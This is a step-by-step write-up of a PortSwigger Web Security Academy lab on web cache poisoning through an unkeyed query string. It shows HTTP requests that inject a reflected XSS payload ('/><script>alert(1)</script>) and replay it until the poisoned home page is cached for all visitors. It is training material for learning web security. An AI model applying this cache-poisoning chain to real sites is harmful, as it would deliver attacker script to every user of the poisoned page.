PortSwigger

Lab Description
This lab is vulnerable to web cache poisoning because the query string is unkeyed. A user regularly visits this site’s home page using Chrome.
Objective: Poison the home page with a response that executes
alert(1)in the victim’s browser.
Step 1: Understanding the Vulnerability
Unkeyed query string:
- The cache key does NOT include the query string parameters
- The response reflects query string values
- By poisoning the cache with a malicious query string, all users receive the XSS payload
The attack chain:
- Attacker sends request with
?evil='/><script>alert(1)</script> - Cache stores the poisoned response (query string not in cache key)
- Victim requests home page (no query string)
- Cache serves poisoned response → XSS executes
Step 2: Reconnaissance
Step 2.1: Load the Home Page
Load the lab’s home page in your browser.
Step 2.2: Find the Cache Oracle
In Burp Proxy → HTTP history, find the GET / request.
Send it to Repeater.

Step 2.3: Test Query String Unkeyed
Add arbitrary query parameters:
GET /?test=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Keep sending. You’ll get a cache hit even with different query strings.
Query string is unkeyed
Step 3: Finding a Cache Buster
Step 3.1: Use Origin Header as Cache Buster
Add the Origin header to force a cache miss:
GET /?test=123 HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Origin: https://example.com
Step 3.2: Verify Reflection
When you get a cache miss, your query parameters are reflected in the response.

Step 4: Crafting the XSS Payload
Step 4.1: Break Out of Reflection
The query parameter value is reflected somewhere in the response. Inject a payload that breaks out:
GET /?evil='/><script>alert(1)</script> HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Origin: https://example.com

Step 4.2: Replay Until Cached
Keep sending until you see:
- Your payload in the response
X-Cache: hit

Step 5: Testing the Poisoned Response
Step 5.1: Remove Query String
Send the request without the query string, but keep the cache buster:
GET / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Origin: https://example.com
Expected: You still receive the poisoned response with your payload.
Poisoning works!
Step 6: Poisoning the Real Cache
Step 6.1: Remove Cache Buster
GET /?evil='/><script>alert(1)</script> HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Step 6.2: Replay Until Cached
Keep sending until X-Cache: hit.

Step 6.3: Verify in Browser
Load the home page (no query string, no Origin header):
https://YOUR-LAB-ID.web-security-academy.net/
Expected: alert(1) popup appears.
Step 7: Lab Solved
The victim visits the home page, receives the poisoned cache, and executes alert(1).
